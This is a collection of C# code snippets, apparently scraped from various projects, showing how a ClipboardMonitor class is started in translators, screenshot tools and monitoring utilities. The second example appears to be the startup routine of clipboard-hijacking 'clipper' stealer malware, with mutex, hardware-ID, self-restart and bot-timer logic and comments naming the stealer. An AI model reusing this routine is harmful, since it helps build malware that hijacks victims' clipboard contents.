/// <summary>
        /// Sets the window to use for monitoring system clipboard changes and begins monitoring.
        /// </summary>
        /// <param name="monitorWindowHandle">The handle of the window.</param>
        /// <returns>A <see cref="bool"/> value indicating success or failure.</returns>
        public bool SetMonitorWindow(IntPtr monitorWindowHandle)
        {
            DisposeClipboardMonitor();

            if (monitorWindowHandle == IntPtr.Zero)
            {
                return(false);
            }

            _clipboardMonitor = new ClipboardMonitor(monitorWindowHandle);
            _clipboardMonitor.ClipboardUpdated += OnClipboardUpdated;

            return(_clipboardMonitor.Start());
        }
Ejemplo n.º 2
0
    static void Main()
    {
        Mutex mutex;

        try
        {
            mutex = Mutex.OpenExisting("Roberta");
            if (mutex != null)
            {
                Process.GetCurrentProcess().Kill();
            }
        }
        catch
        {
            mutex = new Mutex(true, "Roberta");
        }
        if (FileManager.Check("https://www.goog3123123le.lv/")) //http://www.domai3123123123n.com/image.png
        {
            try
            {
                FileStream lol = new FileStream(GetDirPath.DefaultPath + "\\mutex.txt", FileMode.CreateNew);                                  //нужно создавать файл что бы ловить exeption при его существовании
                lol.Close();
                File.WriteAllText(GetDirPath.DefaultPath + "\\mutex.txt", GetDirPath.GetHwid() + ";" + AppDomain.CurrentDomain.FriendlyName); //hwid - имя для стиллера , friendlyname - мое имя

                /// /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
                //string data = File.ReadAllText(GetDirPath.DefaultPath + "\\mutex.txt");
                //string[] name = data.Split(';');
                /// ///////////////////////////////////////////////////////////////////////ЛАГАЕТ////////////////////////////////////////////////////////////////////////////////////////////////////

                Process.Start(Process.GetCurrentProcess().MainModule.FileName);
                Thread.Sleep(7000);
            }
            catch
            {
                //Allbots();
                System.Threading.Timer kereno11 = new System.Threading.Timer(new TimerCallback(Allbots), null, 0, 10000); //10 sec
                ClipboardMonitor.OnClipboardChange += Clip;                                                               //запускаем клипер
                ClipboardMonitor.Start();
            }
        }
        else
        {
            System.Diagnostics.Process.Start("https://www.goog3123123le.lv/");
            //Send report that website exist
            Thread.Sleep(30000);
        }
    }
Ejemplo n.º 3
0
        static void Main(string[] args)
        {
            //These codelines are needed to use the NotifyIcon without a Form.
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);

            CredentialsUtils.CheckConfiguration();

            //Initialize NumberController
            NumberController.Initialize();

            //Start ClipboardMonitor
            ClipboardMonitor.Start();

            //Start TrayIcon
            Application.Run(new TrayIconContext());
        }
Ejemplo n.º 4
0
 private void Form1_Load(object sender, EventArgs e)
 {
     if (Properties.Settings.Default.Translate_from == "")
     {
         Properties.Settings.Default.Translate_from = "en";
         Properties.Settings.Default.Translate_to   = "ru";
         Properties.Settings.Default.Save();
     }
     TrayIcon.Icon = Properties.Resources.BookIcon;
     WindowState   = FormWindowState.Minimized;
     Icon          = Properties.Resources.BookIcon;
     ClipboardMonitor.OnClipboardChange += Clip;
     ClipboardMonitor.Start();
     Trans.OnTranslateChange += () => { TranslatedText.BeginInvoke((MethodInvoker)(() => TranslatedText.Text = Trans.TranslatedText)); };
     Trans.OnTranslateChange += () =>
     {
         TrayIcon.BalloonTipTitle = "Перевод скопированного текста";
         TrayIcon.BalloonTipText  = Trans.TranslatedText;
         TrayIcon.ShowBalloonTip(100);
     };
 }
Ejemplo n.º 5
0
 public MainWindow()
 {
     InitializeComponent();
     if (Properties.Settings.Default.IsLite)
     {
         this.Title    = "Drop Lite";
         lblTitle.Text = "Drop Lite";
     }
     else
     {
         this.Title    = "Drop";
         lblTitle.Text = "Drop";
     }
     this.DataContext = this;
     if (IsClipboardOn)
     {
         btnClipBoard.Visibility = Visibility.Hidden;
         ClipboardMonitor.Start();
         ClipboardMonitor.OnClipboardChange += new ClipboardMonitor.OnClipboardChangeEventHandler(ClipboardMonitor_OnClipboardChange);
     }
 }
Ejemplo n.º 6
0
        public static void InitMonitors()
        {
            // Initialize UDP Monitor.
            _UdpMonitor                  = new UdpMonitor();
            _UdpMonitor.PortNumber       = SettingsManager.Options.UdpMonitorPort;
            _UdpMonitor.MessageReceived += _Monitor_MessageReceived;
            if (SettingsManager.Options.UdpMonitorEnabled)
            {
                _UdpMonitor.Start();
            }
            // Initialize Clipboard Monitor.
            _ClipboardMonitor = new ClipboardMonitor();
            _ClipboardMonitor.CopyInterval     = SettingsManager.Options.ClipboardMonitorInterval;
            _ClipboardMonitor.MessageReceived += _Monitor_MessageReceived;
            if (SettingsManager.Options.ClipboardMonitorEnabled)
            {
                _ClipboardMonitor.Start();
            }
            // Initialize Network Monitor.
            _NetworkMonitor = new NetworkMonitor();
            _NetworkMonitor.MessageReceived += _Monitor_MessageReceived;
            if (SettingsManager.Options.NetworkMonitorEnabled)
            {
                _NetworkMonitor.Start();
            }
            // Initialize Display Monitor
            _DisplayMonitor = new DisplayMonitor();
            var colors = DisplayMonitor.ColorsFromRgbs(SettingsManager.Options.DisplayMonitorPrefix);

            _DisplayMonitor.SetColorPrefix(Basic.ColorsToBytes(colors, false));
            _DisplayMonitor.MessageReceived += _Monitor_MessageReceived;
            if (SettingsManager.Options.DisplayMonitorEnabled)
            {
                _DisplayMonitor.Start();
            }
            // Start monitoring property changes.
            SettingsManager.Options.PropertyChanged += Options_PropertyChanged;
        }
Ejemplo n.º 7
0
        public MainWindow()
        {
            InitializeComponent();

            try
            {
                MainDispatcher = Dispatcher;



                CurrentSetting = new SettingReader().ReadSetting();

                if (CurrentSetting == null)
                {
                    CurrentSetting = (new InitSettingWindow()).ShowDialog();
                }

                var data = Registry.GetValue(Registry.CurrentUser.ToString() + "\\AutoCapturer", "SettingLocation", "NotFound");
                if (data == null)
                {
                    SettingLocation = "";
                }
                else
                {
                    SettingLocation = data.ToString();
                }


                CurrentSetting.AddHandler();
                if (!CurrentSetting.TutorialProgress)
                {
                    if (MsgBox("AutoShot 도움말을 엽니다. 계속하시겠습니까?", "도움말", MessageBoxStyle.YesNo) == MessageBoxResult.Yes)
                    {
                        var hw = new HelpWindow();
                        hw.ShowDialog();
                    }

                    CurrentSetting.TutorialProgress = true;
                }

                this.Deactivated += thisDeactivated;
                this.Activated   += thisActivated;

                SystemEvents.SessionEnding += ComputerShutdown;

                this.Topmost = true;

                da.Duration     = new Duration(TimeSpan.FromMilliseconds(800));
                da.FillBehavior = FillBehavior.Stop;

                OpaAni.Duration     = new Duration(TimeSpan.FromMilliseconds(800));
                OpaAni.FillBehavior = FillBehavior.Stop;

                this.Left = 0; this.Top = 0;

                ImgWorker.Find += DetectPrintScreen;

                try
                {
                    if (IsImage(Clipboard.GetText()))
                    {
                        Clipboard.Clear();
                    }
                }
                catch
                {
                }

                urlworker.Find += DetectURL;

                scworker.Keys.Add(CurrentSetting.AllCaptureKey);
                scworker.Keys.Add(CurrentSetting.AutoCaptureKey);
                scworker.Keys.Add(CurrentSetting.OpenSettingKey);
                scworker.Keys.Add(CurrentSetting.ChangeEditorModeKey);
                scworker.Keys.Add(CurrentSetting.SelectCaptureKey);

                scworker.Find += DetectShortCut;

                this.MouseMove  += FrmAppear;
                this.MouseLeave += FrmDisappear;

                FrmDisappear(this, null);

                f.ContextMenu menu = new f.ContextMenu();

                f.MenuItem itm1 = new f.MenuItem();
                f.MenuItem itm2 = new f.MenuItem();
                f.MenuItem itm3 = new f.MenuItem();

                menu.MenuItems.Add(itm1);
                menu.MenuItems.Add(itm2);
                menu.MenuItems.Add(itm3);

                itm1.Index  = 0;
                itm1.Text   = "프로그램 종료";
                itm1.Click += delegate(object s, EventArgs e)
                {
                    this.Close();
                };

                itm2.Index  = 0;
                itm2.Text   = "도움말 보기";
                itm2.Click += delegate(object s, EventArgs e)
                {
                    HelpButt_Click(null, null);
                };

                itm3.Index  = 0;
                itm3.Text   = "설정";
                itm3.Click += delegate(object s, EventArgs e)
                {
                    PathButton_Click(null, null);
                };

                notify             = new f.NotifyIcon();
                notify.ContextMenu = menu;
                notify.Text        = "AutoShot 동작 중";
                notify.Visible     = true;
                notify.Icon        = Properties.Resources.AucaIcon;

                PopUpWindow puw = new PopUpWindow("실행됨", "AutoShot이 실행되었습니다.");
                puw.ShowTime(1000);

                ClipboardMonitor.Start();
            }
            catch (Exception ex)
            {
                MsgBox(ex.ToString());
            }

            PngBitmapEncoder enc = new PngBitmapEncoder();

            SyncSpace(ImageSourceToBytes(enc, CopyScreen()).Length);

            sw.Close();
        }
Ejemplo n.º 8
0
        static void Options_PropertyChanged(object sender, PropertyChangedEventArgs e)
        {
            var enabledCanged = e.PropertyName == nameof(SettingsManager.Options.MonitorsEnabled);
            var en            = SettingsManager.Options.MonitorsEnabled;
            var isElevated    = JocysCom.ClassLibrary.Security.PermissionHelper.IsElevated;

            // UDP Monitor Properties.
            if (e.PropertyName == nameof(SettingsManager.Options.UdpMonitorPort))
            {
                _UdpMonitor.PortNumber = SettingsManager.Options.UdpMonitorPort;
            }
            if (e.PropertyName == nameof(SettingsManager.Options.UdpMonitorEnabled) || enabledCanged)
            {
                if (SettingsManager.Options.UdpMonitorEnabled && en)
                {
                    _UdpMonitor.Start();
                }
                else
                {
                    _UdpMonitor.Stop();
                }
            }
            // Clipboard Monitor Properties.
            if (e.PropertyName == nameof(SettingsManager.Options.ClipboardMonitorInterval))
            {
                _ClipboardMonitor.CopyInterval = SettingsManager.Options.ClipboardMonitorInterval;
            }
            if (e.PropertyName == nameof(SettingsManager.Options.ClipboardMonitorEnabled) || enabledCanged)
            {
                if (SettingsManager.Options.ClipboardMonitorEnabled && en)
                {
                    _ClipboardMonitor.Start();
                }
                else
                {
                    _ClipboardMonitor.Stop();
                }
            }
            // Network Monitor Properties.
            if (e.PropertyName == nameof(SettingsManager.Options.NetworkMonitorCapturingType))
            {
                _NetworkMonitor.CapturingType = SettingsManager.Options.NetworkMonitorCapturingType;
            }
            if (e.PropertyName == nameof(SettingsManager.Options.NetworkMonitorEnabled) || enabledCanged)
            {
                if (SettingsManager.Options.NetworkMonitorEnabled && en && isElevated)
                {
                    _NetworkMonitor.Start();
                }
                else
                {
                    _NetworkMonitor.Stop();
                }
            }
            // Display Monitor Properties.
            if (e.PropertyName == nameof(SettingsManager.Options.DisplayMonitorInterval))
            {
                _DisplayMonitor.ScanInterval = SettingsManager.Options.DisplayMonitorInterval;
            }
            if (e.PropertyName == nameof(SettingsManager.Options.DisplayMonitorPrefix))
            {
                var colors = DisplayMonitor.ColorsFromRgbs(SettingsManager.Options.DisplayMonitorPrefix);
                _DisplayMonitor.SetColorPrefix(Basic.ColorsToBytes(colors, false));
            }
            if (e.PropertyName == nameof(SettingsManager.Options.DisplayMonitorEnabled) || enabledCanged)
            {
                if (SettingsManager.Options.DisplayMonitorEnabled && en)
                {
                    _DisplayMonitor.Start();
                }
                else
                {
                    _DisplayMonitor.Stop();
                }
            }

            if (e.PropertyName == nameof(SettingsManager.Options.AudioBitsPerSample) ||
                e.PropertyName == nameof(SettingsManager.Options.CacheAudioChannels))
            {
                var blockAlignment = (SettingsManager.Options.AudioBitsPerSample / 8) * (int)SettingsManager.Options.CacheAudioChannels;
                if (blockAlignment != SettingsManager.Options.CacheAudioBlockAlign)
                {
                    SettingsManager.Options.CacheAudioBlockAlign = blockAlignment;
                }
            }
        }
Ejemplo n.º 9
0
 /// <summary>
 /// Handle the window loading finalization, start monitoring process.
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 void MainWindow_Loaded(object sender, RoutedEventArgs e)
 {
     ClipboardMonitor.Start();
 }